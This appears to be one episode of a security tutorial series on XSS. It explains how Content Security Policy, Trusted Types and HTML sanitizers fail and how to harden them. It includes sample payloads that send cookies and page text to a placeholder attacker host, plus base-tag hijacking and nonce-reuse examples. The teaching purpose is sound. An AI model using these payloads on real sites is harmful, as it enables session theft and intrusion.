By Episode 5, we were already cashing in XSS for real impact. Now we do the thing that separates “payload works in a lab” from “bug survives in hardened production”: we attack and evaluate the controls that are supposed to kill script execution even when markup injection happens. This episode is about three pillars defenders lean on hard in modern apps—Content Security Policy (CSP), Trusted Types, and HTML sanitizers—and why each one can be either a serious barrier or expensive theater depending on how it’s deployed.
The goal here is not “CSP bypass tricks” as a bag of magic strings. It’s to understand the execution model each defense is trying to constrain, identify the trust assumptions it makes, and then test whether those assumptions actually hold in a real target. On the flip side, if you’re defending, this is how you stop shipping policies that look impressive in a compliance screenshot but fold under a single gadget or parser edge case.
Why these controls fail in practice
All three defenses are trying to answer the same question:
“If attacker-controlled data reaches a browser parser or dangerous DOM sink, what prevents it from becoming executable code?”
They fail for different reasons:
- CSP fails when the policy allows too much, trusts the wrong origins, or can be bypassed through existing script gadgets, nonced script reuse, or dangerous directives.
- Trusted Types fails when it is not enforced everywhere, when developers create permissive policies, or when attackers can reach a trusted policy function.
- Sanitizers fail when they are configured for the wrong context, have parser differential issues, or allow dangerous markup that later becomes executable through mutation or app logic.
A key mindset shift: these controls are not interchangeable. A sanitizer tries to make HTML safe. CSP tries to restrict what the browser can execute. Trusted Types tries to stop unsafe strings from reaching dangerous DOM sinks in the first place. Strong deployments layer all three.
Content Security Policy: what actually matters
At a high level, CSP is a browser-enforced allowlist for resource loading and script execution. But for XSS, the most important directives are usually:
script-srcobject-srcbase-uriframe-ancestorsrequire-trusted-types-for 'script'trusted-types- sometimes
style-srcandconnect-srcdepending on chaining/exfil constraints
A quick way to inspect policy headers:
curl -I https://target.example
Example response:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'; report-uri /csp-report
Also inspect the live document in DevTools, because some apps use <meta http-equiv="Content-Security-Policy">, which is weaker and easier to get wrong than an HTTP header.
Script execution under CSP: the practical model
For XSS work, ask these questions in order:
- Are inline scripts blocked?
- If
script-srclacks'unsafe-inline', raw<script>alert(1)</script>usually won’t execute.
- If
- Are event handlers blocked?
onclick=...,onerror=...,onload=...are also considered inline script and should be blocked unless policy is weak.
- Can attacker-controlled external scripts load?
- Check
script-srcorigins, wildcards, schemes, JSONP-style endpoints, and upload/CDN surfaces.
- Check
- Are nonces or hashes used correctly?
- Nonce-based CSP can be strong, but only if the nonce is unpredictable and not reusable through app gadgets.
- Does
strict-dynamicexist?- This changes trust propagation and can be excellent when used correctly, but many teams misunderstand it.
- Are there script gadgets already on the page?
- If trusted code reads attacker-controlled DOM and turns it into script/URL execution, CSP may not save you.
Breaking weak CSP in the real world
Let’s go through common failure modes.
1) `unsafe-inline`: the “we have CSP” lie
If you see this:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
then inline handlers and inline <script> are back on the table. At that point CSP is doing little for XSS prevention.
Example payloads that become viable again:
<img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)">
<svg onload="console.log('inline execution under weak CSP')"></svg>
If the target claims “protected by CSP” but ships unsafe-inline, treat that as a major downgrade.
2) Overly broad script allowlists
A very common anti-pattern:
Content-Security-Policy: script-src 'self' *.trusted-cdn.com
This can fail if:
- the wildcard includes attacker-controlled subdomains
- the trusted CDN hosts user-uploaded JS
- legacy JSONP or callback endpoints exist
- a third-party service lets users publish arbitrary script under that origin
If a CDN or same-origin file upload lets you host JavaScript, then XSS may become “inject script tag pointing to allowed origin” instead of “execute inline”.
Example:
<script src="https://assets.trusted-cdn.com/user-content/poc.js"></script>
Or if same-origin uploads are served under the app’s origin:
<script src="/uploads/avatars/evil.js"></script>
That is why defenders should isolate untrusted uploads on a separate origin with no script execution, not just a separate path.
3) Dangerous schemes and legacy directives
Watch for policy gaps like:
script-src 'self' data: blob:
or missing object-src 'none'.
data: and blob: in script-src are often unnecessary and can expand the attack surface. Legacy plugin directives matter less today, but object-src 'none' is still standard hardening and should be present.
4) Nonce misuse
A nonce-based policy is excellent when implemented correctly:
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'; object-src 'none'; base-uri 'none'
But teams mess this up in several ways:
Predictable or reused nonces
If the nonce is static, derived from low-entropy state, or reused across responses, that’s a serious issue.
You can test for nonce reuse with repeated requests:
curl -s https://target.example | grep -o "nonce-[^']*"
curl -s https://target.example | grep -o "nonce-[^']*"
Or inspect actual script tags:
curl -s https://target.example | grep -o 'nonce="[^"]*"'
If the same nonce appears across sessions or requests, an attacker who can inject markup may be able to create a valid nonced script:
<script nonce="reused-nonce-value">
fetch('https://attacker.example/x?d='+btoa(document.body.innerText))
</script>
Nonce exposure through DOM gadgets
Even if the nonce is random, some apps expose it in JS variables, DOM attributes, or client templates. If XSS gives you enough DOM control to read the nonce and create a script element, the policy may collapse.
Example gadget pattern:
const n = document.querySelector('script[nonce]')?.nonce;
const s = document.createElement('script');
s.nonce = n;
s.src = userControlledUrl;
document.head.appendChild(s);
If attacker input controls userControlledUrl, CSP is not the barrier it appears to be.
5) Missing `base-uri` and ` ` abuse
If base-uri is absent, injected <base> tags can rewrite relative URL resolution. This does not always yield direct script execution, but it can transform trusted relative script paths into attacker-controlled loads.
Example injection:
<base href="https://attacker.example/">
If the page later loads:
<script src="/app.js"></script>
the browser may resolve it against the attacker’s base URL, depending on parse order and page structure. Defenders should nearly always set:
base-uri 'none'
6) Script gadgets: when CSP blocks inline code but trusted JS executes your data
This is one of the most important advanced concepts. CSP can block direct inline execution while still allowing existing trusted JavaScript to turn attacker-controlled data into code or dangerous URLs.
Examples of gadget patterns:
setTimeout(userInput, 0);
new Function(config.expression)();
script.src = params.url;
document.head.appendChild(script);
location.href = userControlledValue; // if javascript: is not filtered elsewhere
If the trusted page script is allowed by CSP—and it is—then the exploit path is not “inline script under CSP”, but “attacker controls input consumed by trusted script”. This is exactly where Trusted Types becomes relevant.
Hardening CSP properly
A modern baseline for HTML apps looks more like:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
require-trusted-types-for 'script';
trusted-types default dompurify;
report-to csp-endpoint;
report-uri /csp-report
Important notes:
- Prefer nonces or hashes, not host allowlists alone.
- Use
strict-dynamicwith nonces/hashes so trust follows intentionally loaded scripts, reducing brittle domain lists. - Set
object-src 'none'andbase-uri 'none'. - Add reporting during rollout to catch violations.
- Treat third-party scripts as a security dependency, not a convenience include.
A rollout pattern:
- Start with
Content-Security-Policy-Report-Only - Collect violations
- Fix app breakage
- Enforce
- Keep monitoring
Example report-only header:
Content-Security-Policy-Report-Only: script-src 'nonce-rAnd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'; report-uri /csp-report
Trusted Types: killing DOM XSS at the sink
CSP constrains what executes. Trusted Types constrains what can even be assigned to dangerous DOM sinks.
When enabled with:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify
the browser blocks assignments like:
element.innerHTML = userInput;
unless userInput is a TrustedHTML object created by an approved policy.
This is huge for DOM XSS because it attacks the problem at the sink instead of hoping every developer remembers not to use unsafe APIs.
What Trusted Types protects
In practice, it targets dangerous string-to-code / string-to-HTML sinks such as:
innerHTMLouterHTMLinsertAdjacentHTMLdocument.writeDOMParser.parseFromString(..., 'text/html')in some contexts via app design, though not all browser behaviors are identical- script creation patterns depending on API usage
If your exploit path from Episode 3 depended on a string hitting one of these sinks, Trusted Types may stop it cold—if enforcement is real.
How teams accidentally neuter Trusted Types
1) No enforcement, only policy definitions
Some apps create policies but never require them:
trustedTypes.createPolicy('default', {
createHTML: s => s
});
Without:
require-trusted-types-for 'script'
this may do nothing meaningful.
2) A permissive “accept anything” policy
This is the Trusted Types equivalent of unsafe-inline.
Bad example:
trustedTypes.createPolicy('default', {
createHTML: input => input,
createScriptURL: input => input,
createScript: input => input
});
Now every dangerous sink can be fed attacker-controlled content wrapped in fake trust.
If an attacker can influence code paths that call this policy, enforcement becomes cosmetic.
3) Attackers can reach the policy function
Even with enforcement enabled, if the app exposes a policy object globally and uses it on attacker-controlled input, you may still have a path.
Example:
window.appPolicy = trustedTypes.createPolicy('default', {
createHTML: s => DOMPurify.sanitize(s)
});
preview.innerHTML = appPolicy.createHTML(userContent);
This can be fine if sanitization is robust. But if there’s a sanitizer bypass, the policy becomes a trusted conduit for malicious HTML.
Testing Trusted Types from the console
In a browser with enforcement enabled, try a known blocked sink:
document.body.innerHTML = "<img src=x onerror=alert(1)>";
You should see a Trusted Types violation rather than execution.
Then inspect policy names:
trustedTypes?.getPolicyNames?.()
And look for app-created policies in source code:
grep -R "createPolicy" .
Or in DevTools global search.
Hardening Trusted Types correctly
A strong pattern:
const policy = trustedTypes.createPolicy('dompurify', {
createHTML: input => DOMPurify.sanitize(input, {
RETURN_TRUSTED_TYPE: false
})
});
Then:
target.innerHTML = policy.createHTML(untrustedHtml);
And enforce via CSP:
Content-Security-Policy:
require-trusted-types-for 'script';
trusted-types dompurify;
Key guidance:
- Allow as few policies as possible.
- Do not create catch-all identity policies.
- Centralize sanitization in one reviewed policy.
- Migrate risky sinks incrementally, but actually enforce once ready.
Sanitizers: where “safe HTML” goes to die
Sanitizers are necessary when your app intentionally renders rich user content. But they are not magic. They are parser-dependent transformation engines with configuration landmines.
The classic mistakes:
- allowing dangerous tags or attributes
- sanitizing for HTML but later using output in a different context
- sanitizing before later decoding/mutation
- using homegrown regex filters
- relying on stale sanitizer versions with known bypasses
The wrong way: regex “sanitization”
If you see code like:
html = html.replace(/<script.*?>.*?<\/script>/gi, '');
that is not sanitization. It is wishful thinking.
Attackers don’t need <script> if event handlers, SVG, malformed tags, parser differentials, or later DOM mutation are available.
DOMPurify: strong, but only when used correctly
A common safe choice is DOMPurify. Example:
const clean = DOMPurify.sanitize(userHtml);
container.innerHTML = clean;
But advanced testing should still ask:
- Which tags/attrs are allowed?
- Are custom hooks adding dangerous exceptions?
- Is the output later modified by another library?
- Is there a mutation XSS path after sanitization?
- Is sanitization happening on the server, client, or both?
- Is the version current?
Example of dangerous customization:
DOMPurify.addHook('uponSanitizeAttribute', function(node, data) {
if (data.attrName === 'href') data.keepAttr = true;
});
If the app then fails to constrain schemes, javascript: URLs may survive in some rendering flows.
Sanitization is context-specific
This is the key rule defenders violate constantly:
HTML sanitization only helps when the output is used as HTML in a safe rendering flow.
It does not make data safe for:
- JavaScript strings
- URL construction
- CSS
- template interpolation in another engine
- script URLs
- JSON embedded into script blocks
For example, this is still dangerous:
const clean = DOMPurify.sanitize(userInput);
eval("render('" + clean + "')");
The sanitizer solved the wrong problem. The sink is still code execution.
Mutation XSS after sanitization
Even if sanitizer output looks safe initially, later browser or library mutation can reintroduce danger. This often happens when sanitized markup is inserted, normalized, reserialized, or passed through another parser.
A simplified dangerous flow:
const clean = DOMPurify.sanitize(userHtml);
tmp.innerHTML = clean;
editor.load(tmp.innerHTML); // downstream parser/library mutates structure
If the second stage interprets content differently from the sanitizer’s model, bypasses can emerge. This is why defenders should test the full render pipeline, not just sanitizer output strings.
A practical assessment workflow
When you find “XSS blocked by CSP/sanitizer/Trusted Types”, don’t stop. Assess the control.
Step 1: Capture headers and policy
curl -I https://target.example
Document:
Content-Security-PolicyContent-Security-Policy-Report-OnlyX-Content-Type-Options- any upload/CDN origins referenced by
script-src
Step 2: Test direct execution primitives
Try low-noise probes in the actual sink you found earlier in the series:
<script>console.log(1)</script>
<img src=x onerror=console.log(2)>
<svg onload=console.log(3)>
If blocked, note whether the failure is due to CSP, sanitization, or both.
Step 3: Look for policy weaknesses
Check for:
'unsafe-inline'- broad host allowlists
data:/blob:- missing
base-uri - nonce reuse
- report-only without enforcement
Step 4: Hunt script gadgets
Search JS for dangerous patterns:
grep -R "innerHTML\|outerHTML\|insertAdjacentHTML\|eval\|Function\|setTimeout(\s*['\"]\|createElement('script')" .
In DevTools, trace whether trusted code consumes attacker-controlled DOM, config, route state, or API data.
Step 5: Evaluate Trusted Types
In console:
trustedTypes?.getPolicyNames?.()
Test whether unsafe assignments throw:
document.body.innerHTML = "<b>tt-test</b>";
Inspect policy code for identity functions or weak sanitization.
Step 6: Evaluate sanitizer reality, not branding
If the app says “we use DOMPurify”, verify:
- where it is called
- with what config
- what happens after sanitization
- whether custom hooks weaken it
- whether the rendered result mutates into a dangerous form
Defense-in-depth that actually works
If you’re building or fixing a modern frontend, the resilient stack looks like this:
1) Remove dangerous sinks where possible
Prefer:
node.textContent = userText;
over:
node.innerHTML = userText;
2) Enforce Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types dompurify
3) Sanitize only when rich HTML is truly required
const policy = trustedTypes.createPolicy('dompurify', {
createHTML: input => DOMPurify.sanitize(input)
});
target.innerHTML = policy.createHTML(userHtml);
4) Deploy strict CSP
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
require-trusted-types-for 'script';
trusted-types dompurify;
5) Isolate untrusted content
- Serve uploads from a separate origin
- Disable script execution there
- Consider sandboxed iframes for risky renderers/previews
6) Keep reporting on
CSP reports and frontend error telemetry help catch regressions before attackers do.
Final thoughts
If earlier episodes taught you how to land XSS and turn it into impact, this episode is about understanding why some payloads die on contact—and whether that death is real or just a brittle illusion. Strong CSP, enforced Trusted Types, and well-reviewed sanitization can make XSS dramatically harder to exploit. Weak versions of those same controls create a dangerous false sense of security, and experienced testers should treat them as systems to be audited, not badges to be trusted.
In the final episode, we’ll bring everything together into a repeatable real-target hunting workflow: how to combine proxies, browser tooling, automation, manual tracing, and validation discipline to find the XSS that other people miss.